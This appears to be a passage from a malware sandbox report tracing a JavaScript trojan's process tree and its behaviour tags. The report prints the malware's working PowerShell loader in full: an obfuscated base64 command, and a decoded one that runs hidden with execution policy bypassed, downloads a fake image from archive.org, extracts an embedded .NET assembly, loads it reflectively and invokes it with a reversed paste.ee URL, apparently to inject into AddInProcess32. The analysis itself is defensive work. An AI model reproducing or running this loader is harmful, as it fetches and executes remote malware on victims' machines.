㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trojan.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ 